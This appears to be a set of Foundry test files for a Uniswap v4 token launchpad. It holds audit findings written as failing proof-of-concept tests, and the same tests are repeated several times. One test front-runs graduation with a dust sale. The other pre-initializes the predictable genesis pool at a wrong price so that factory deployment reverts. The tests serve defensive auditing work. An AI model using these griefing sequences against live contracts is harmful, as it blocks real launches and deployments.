// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {PvPadFactory} from "src/PvPadFactory.sol";
import {PvPadHook} from "src/hooks/PvPadHook.sol";
import {WorkerSubsidy} from "src/WorkerSubsidy.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";
import {BondingCurve} from "src/BondingCurve.sol";
import {HookMiner} from "src/utils/HookMiner.sol";

/// @dev Finding: sell() stays open once ethReserve == GRADUATION_THRESHOLD while buy() is closed,
/// so any token holder can front-run graduate(launchId) with a dust sale and make it revert NotReady.
/// This test FAILS on the current code (graduate reverts after the front-running sale) and passes
/// once the curve either rejects sales while readyToGraduate() or graduation tolerates the sale.
contract GraduateSellGriefTest is Test {
    PoolManager manager;
    WorkerSubsidy workers;
    KingOfThePad king;
    PvPadHook hook;
    PvPadFactory factory;
    address creator = address(0xC0FFEE);
    address buyer = address(0xBEEF);
    address griefer = address(0xBAD);

    function setUp() public {
        manager = new PoolManager(address(this));
        workers = new WorkerSubsidy(address(this));
        king = new KingOfThePad(workers);
        uint160 flags = Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG
            | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        (, bytes32 salt) = HookMiner.find(address(this), flags, type(PvPadHook).creationCode, abi.encode(manager));
        hook = new PvPadHook{salt: salt}(manager);
        factory = new PvPadFactory(manager, workers, king, hook, creator);
        vm.deal(address(this), 1 ether);
        vm.deal(buyer, 100 ether);
        vm.deal(griefer, 1 ether);
        king.claimKing{value: 0.02 ether}(address(0xCAFE));
    }

    function test_graduateSurvivesDustSellFrontRunAtThreshold() public {
        (, address tokenAddress, address curveAddress,,) = factory.launches(0);
        BondingCurve curve = BondingCurve(payable(curveAddress));
        IERC20 token = IERC20(tokenAddress);

        // Griefer holds a small position bought early.
        vm.prank(griefer);
        uint256 grieferTokens = curve.buy{value: 0.01 ether}(griefer);

        // A buyer fills the curve; the curve is exactly at threshold and buys are closed.
        vm.prank(buyer);
        curve.buy{value: 5 ether}(buyer);
        assertEq(curve.ethReserve(), 4.2 ether);
        assertTrue(curve.readyToGraduate());
        assertEq(curve.maxBuyInput(), 0);
        vm.prank(buyer);
        vm.expectRevert(BondingCurve.NotReady.selector);
        curve.buy{value: 1}(buyer);

        // Front-run of the pending graduate(0): sell a sliver worth about 100 wei of ETH (fee 1 wei).
        // On the current code this sale succeeds and drops ethReserve below the threshold.
        uint256 sliver = grieferTokens / 1_000_000;
        vm.startPrank(griefer);
        token.approve(address(curve), sliver);
        try curve.sell(sliver, griefer) {} catch {}
        vm.stopPrank();

        // Expected (SPEC: permissionless graduate once the threshold was reached): graduation succeeds.
        // Actual on the current code: reverts PvPadFactory.NotReady because readyToGraduate() flipped.
        factory.graduate(0);
        (,,, bool graduated,) = factory.launches(0);
        assertTrue(graduated, "graduate(0) must not be blockable by a dust sale");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {PvPadFactory} from "src/PvPadFactory.sol";
import {PvPadToken} from "src/PvPadToken.sol";
import {PvPadHook} from "src/hooks/PvPadHook.sol";
import {WorkerSubsidy} from "src/WorkerSubsidy.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";
import {HookMiner} from "src/utils/HookMiner.sol";

/// @dev Finding: the genesis pool key is fully predictable from public deployment inputs, and the
/// shared hook has no initialize callback, so anyone can initialize that pool at a wrong price before
/// the hook or the factory exist. The factory constructor then reverts UnexpectedPoolPrice, so the
/// whole launch deployment transaction fails.
/// This test FAILS on the current code (the constructor reverts) and passes once the factory can
/// still deploy its genesis launch after such a poisoning (e.g. re-salting the token on a price clash).
contract GenesisPoolPoisonTest is Test {
    address constant GENESIS_CREATOR = address(0xBEEF);
    PoolManager manager;
    WorkerSubsidy workers;
    KingOfThePad king;
    address predictedHook;
    bytes32 hookSalt;
    address predictedFactory;

    function setUp() public {
        manager = new PoolManager(address(this));
        workers = new WorkerSubsidy(address(this));
        king = new KingOfThePad(workers);
        uint160 flags = Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG
            | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        (predictedHook, hookSalt) =
            HookMiner.find(address(this), flags, type(PvPadHook).creationCode, abi.encode(manager));
    }

    function _predictGenesisToken(address factoryAddress) internal pure returns (address) {
        bytes32 tokenSalt =
            keccak256(abi.encode(uint256(0), GENESIS_CREATOR, "Pepe Values Pepe", "PVP", bytes32(0)));
        bytes32 initHash =
            keccak256(abi.encodePacked(type(PvPadToken).creationCode, abi.encode("Pepe Values Pepe", "PVP")));
        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), factoryAddress, tokenSalt, initHash)))));
    }

    function _poison(address token) internal {
        PoolKey memory key = PoolKey(Currency.wrap(address(0)), Currency.wrap(token), 0, 60, IHooks(predictedHook));
        vm.prank(address(0xA77ACC));
        manager.initialize(key, uint160(1 << 96));
    }

    function test_factoryStillDeploysAfterGenesisPoolPoisoning() public {
        // Deployer nonce: the CREATE2 hook deploy consumes one nonce, the CREATE factory deploy the next.
        uint64 nonce = vm.getNonce(address(this));
        predictedFactory = vm.computeCreateAddress(address(this), nonce + 1);
        address predictedToken = _predictGenesisToken(predictedFactory);

        // Attacker acts first: neither the hook nor the factory has code yet.
        assertEq(predictedHook.code.length, 0);
        assertEq(predictedFactory.code.length, 0);
        _poison(predictedToken);

        // Honest deployment. Expected: factory deploys with genesis launch 0 at the canonical price.
        // Actual on the current code: constructor reverts PvPadFactory.UnexpectedPoolPrice.
        PvPadHook hook = new PvPadHook{salt: hookSalt}(manager);
        assertEq(address(hook), predictedHook);
        PvPadFactory factory = new PvPadFactory(manager, workers, king, hook, GENESIS_CREATOR);
        assertEq(factory.launchCount(), 1, "genesis launch must exist despite pool poisoning");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {PvPadFactory} from "src/PvPadFactory.sol";
import {PvPadHook} from "src/hooks/PvPadHook.sol";
import {WorkerSubsidy} from "src/WorkerSubsidy.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";
import {BondingCurve} from "src/BondingCurve.sol";
import {HookMiner} from "src/utils/HookMiner.sol";

/// @dev Finding: sell() stays open once ethReserve == GRADUATION_THRESHOLD while buy() is closed,
/// so any token holder can front-run graduate(launchId) with a dust sale and make it revert NotReady.
/// This test FAILS on the current code (graduate reverts after the front-running sale) and passes
/// once the curve either rejects sales while readyToGraduate() or graduation tolerates the sale.
contract GraduateSellGriefTest is Test {
    PoolManager manager;
    WorkerSubsidy workers;
    KingOfThePad king;
    PvPadHook hook;
    PvPadFactory factory;
    address creator = address(0xC0FFEE);
    address buyer = address(0xBEEF);
    address griefer = address(0xBAD);

    function setUp() public {
        manager = new PoolManager(address(this));
        workers = new WorkerSubsidy(address(this));
        king = new KingOfThePad(workers);
        uint160 flags = Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG
            | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        (, bytes32 salt) = HookMiner.find(address(this), flags, type(PvPadHook).creationCode, abi.encode(manager));
        hook = new PvPadHook{salt: salt}(manager);
        factory = new PvPadFactory(manager, workers, king, hook, creator);
        vm.deal(address(this), 1 ether);
        vm.deal(buyer, 100 ether);
        vm.deal(griefer, 1 ether);
        king.claimKing{value: 0.02 ether}(address(0xCAFE));
    }

    function test_graduateSurvivesDustSellFrontRunAtThreshold() public {
        (, address tokenAddress, address curveAddress,,) = factory.launches(0);
        BondingCurve curve = BondingCurve(payable(curveAddress));
        IERC20 token = IERC20(tokenAddress);

        // Griefer holds a small position bought early.
        vm.prank(griefer);
        uint256 grieferTokens = curve.buy{value: 0.01 ether}(griefer);

        // A buyer fills the curve; the curve is exactly at threshold and buys are closed.
        vm.prank(buyer);
        curve.buy{value: 5 ether}(buyer);
        assertEq(curve.ethReserve(), 4.2 ether);
        assertTrue(curve.readyToGraduate());
        assertEq(curve.maxBuyInput(), 0);
        vm.prank(buyer);
        vm.expectRevert(BondingCurve.NotReady.selector);
        curve.buy{value: 1}(buyer);

        // Front-run of the pending graduate(0): sell a sliver worth about 100 wei of ETH (fee 1 wei).
        // On the current code this sale succeeds and drops ethReserve below the threshold.
        uint256 sliver = grieferTokens / 1_000_000;
        vm.startPrank(griefer);
        token.approve(address(curve), sliver);
        try curve.sell(sliver, griefer) {} catch {}
        vm.stopPrank();

        // Expected (SPEC: permissionless graduate once the threshold was reached): graduation succeeds.
        // Actual on the current code: reverts PvPadFactory.NotReady because readyToGraduate() flipped.
        factory.graduate(0);
        (,,, bool graduated,) = factory.launches(0);
        assertTrue(graduated, "graduate(0) must not be blockable by a dust sale");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {PvPadFactory} from "src/PvPadFactory.sol";
import {PvPadToken} from "src/PvPadToken.sol";
import {PvPadHook} from "src/hooks/PvPadHook.sol";
import {WorkerSubsidy} from "src/WorkerSubsidy.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";
import {HookMiner} from "src/utils/HookMiner.sol";

/// @dev Finding: the genesis pool key is fully predictable from public deployment inputs, and the
/// shared hook has no initialize callback, so anyone can initialize that pool at a wrong price before
/// the hook or the factory exist. The factory constructor then reverts UnexpectedPoolPrice, so the
/// whole launch deployment transaction fails.
/// This test FAILS on the current code (the constructor reverts) and passes once the factory can
/// still deploy its genesis launch after such a poisoning (e.g. re-salting the token on a price clash).
contract GenesisPoolPoisonTest is Test {
    address constant GENESIS_CREATOR = address(0xBEEF);
    PoolManager manager;
    WorkerSubsidy workers;
    KingOfThePad king;
    address predictedHook;
    bytes32 hookSalt;
    address predictedFactory;

    function setUp() public {
        manager = new PoolManager(address(this));
        workers = new WorkerSubsidy(address(this));
        king = new KingOfThePad(workers);
        uint160 flags = Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG
            | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        (predictedHook, hookSalt) =
            HookMiner.find(address(this), flags, type(PvPadHook).creationCode, abi.encode(manager));
    }

    function _predictGenesisToken(address factoryAddress) internal pure returns (address) {
        bytes32 tokenSalt =
            keccak256(abi.encode(uint256(0), GENESIS_CREATOR, "Pepe Values Pepe", "PVP", bytes32(0)));
        bytes32 initHash =
            keccak256(abi.encodePacked(type(PvPadToken).creationCode, abi.encode("Pepe Values Pepe", "PVP")));
        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), factoryAddress, tokenSalt, initHash)))));
    }

    function _poison(address token) internal {
        PoolKey memory key = PoolKey(Currency.wrap(address(0)), Currency.wrap(token), 0, 60, IHooks(predictedHook));
        vm.prank(address(0xA77ACC));
        manager.initialize(key, uint160(1 << 96));
    }

    function test_factoryStillDeploysAfterGenesisPoolPoisoning() public {
        // Deployer nonce: the CREATE2 hook deploy consumes one nonce, the CREATE factory deploy the next.
        uint64 nonce = vm.getNonce(address(this));
        predictedFactory = vm.computeCreateAddress(address(this), nonce + 1);
        address predictedToken = _predictGenesisToken(predictedFactory);

        // Attacker acts first: neither the hook nor the factory has code yet.
        assertEq(predictedHook.code.length, 0);
        assertEq(predictedFactory.code.length, 0);
        _poison(predictedToken);

        // Honest deployment. Expected: factory deploys with genesis launch 0 at the canonical price.
        // Actual on the current code: constructor reverts PvPadFactory.UnexpectedPoolPrice.
        PvPadHook hook = new PvPadHook{salt: hookSalt}(manager);
        assertEq(address(hook), predictedHook);
        PvPadFactory factory = new PvPadFactory(manager, workers, king, hook, GENESIS_CREATOR);
        assertEq(factory.launchCount(), 1, "genesis launch must exist despite pool poisoning");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {PvPadFactory} from "src/PvPadFactory.sol";
import {PvPadToken} from "src/PvPadToken.sol";
import {PvPadHook} from "src/hooks/PvPadHook.sol";
import {WorkerSubsidy} from "src/WorkerSubsidy.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";
import {HookMiner} from "src/utils/HookMiner.sol";

/// @dev Finding: the genesis pool key is fully predictable from public deployment inputs, and the
/// shared hook has no initialize callback, so anyone can initialize that pool at a wrong price before
/// the hook or the factory exist. The factory constructor then reverts UnexpectedPoolPrice, so the
/// whole launch deployment transaction fails.
/// This test FAILS on the current code (the constructor reverts) and passes once the factory can
/// still deploy its genesis launch after such a poisoning (e.g. re-salting the token on a price clash).
contract GenesisPoolPoisonTest is Test {
    address constant GENESIS_CREATOR = address(0xBEEF);
    PoolManager manager;
    WorkerSubsidy workers;
    KingOfThePad king;
    address predictedHook;
    bytes32 hookSalt;
    address predictedFactory;

    function setUp() public {
        manager = new PoolManager(address(this));
        workers = new WorkerSubsidy(address(this));
        king = new KingOfThePad(workers);
        uint160 flags = Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG
            | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        (predictedHook, hookSalt) =
            HookMiner.find(address(this), flags, type(PvPadHook).creationCode, abi.encode(manager));
    }

    function _predictGenesisToken(address factoryAddress) internal pure returns (address) {
        bytes32 tokenSalt =
            keccak256(abi.encode(uint256(0), GENESIS_CREATOR, "Pepe Values Pepe", "PVP", bytes32(0)));
        bytes32 initHash =
            keccak256(abi.encodePacked(type(PvPadToken).creationCode, abi.encode("Pepe Values Pepe", "PVP")));
        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), factoryAddress, tokenSalt, initHash)))));
    }

    function _poison(address token) internal {
        PoolKey memory key = PoolKey(Currency.wrap(address(0)), Currency.wrap(token), 0, 60, IHooks(predictedHook));
        vm.prank(address(0xA77ACC));
        manager.initialize(key, uint160(1 << 96));
    }

    function test_factoryStillDeploysAfterGenesisPoolPoisoning() public {
        // Deployer nonce: the CREATE2 hook deploy consumes one nonce, the CREATE factory deploy the next.
        uint64 nonce = vm.getNonce(address(this));
        predictedFactory = vm.computeCreateAddress(address(this), nonce + 1);
        address predictedToken = _predictGenesisToken(predictedFactory);

        // Attacker acts first: neither the hook nor the factory has code yet.
        assertEq(predictedHook.code.length, 0);
        assertEq(predictedFactory.code.length, 0);
        _poison(predictedToken);

        // Honest deployment. Expected: factory deploys with genesis launch 0 at the canonical price.
        // Actual on the current code: constructor reverts PvPadFactory.UnexpectedPoolPrice.
        PvPadHook hook = new PvPadHook{salt: hookSalt}(manager);
        assertEq(address(hook), predictedHook);
        PvPadFactory factory = new PvPadFactory(manager, workers, king, hook, GENESIS_CREATOR);
        assertEq(factory.launchCount(), 1, "genesis launch must exist despite pool poisoning");
    }
}